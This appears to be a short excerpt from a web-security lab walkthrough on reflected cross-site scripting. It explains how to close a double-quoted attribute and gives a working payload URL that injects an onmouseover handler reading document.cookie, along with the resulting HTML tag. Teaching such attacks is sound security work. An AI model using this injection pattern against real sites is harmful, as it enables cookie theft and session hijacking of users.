The value is delimited by double quotes. Inject a closing quote, then an event handler, then reopen the attribute to keep the tag valid.
Command / Input
http://localhost:$PORT/?q=" onmouseover="alert(document.cookie)
⚑ This turns the tag into: <input value="" onmouseover="alert(document.cookie)" ...>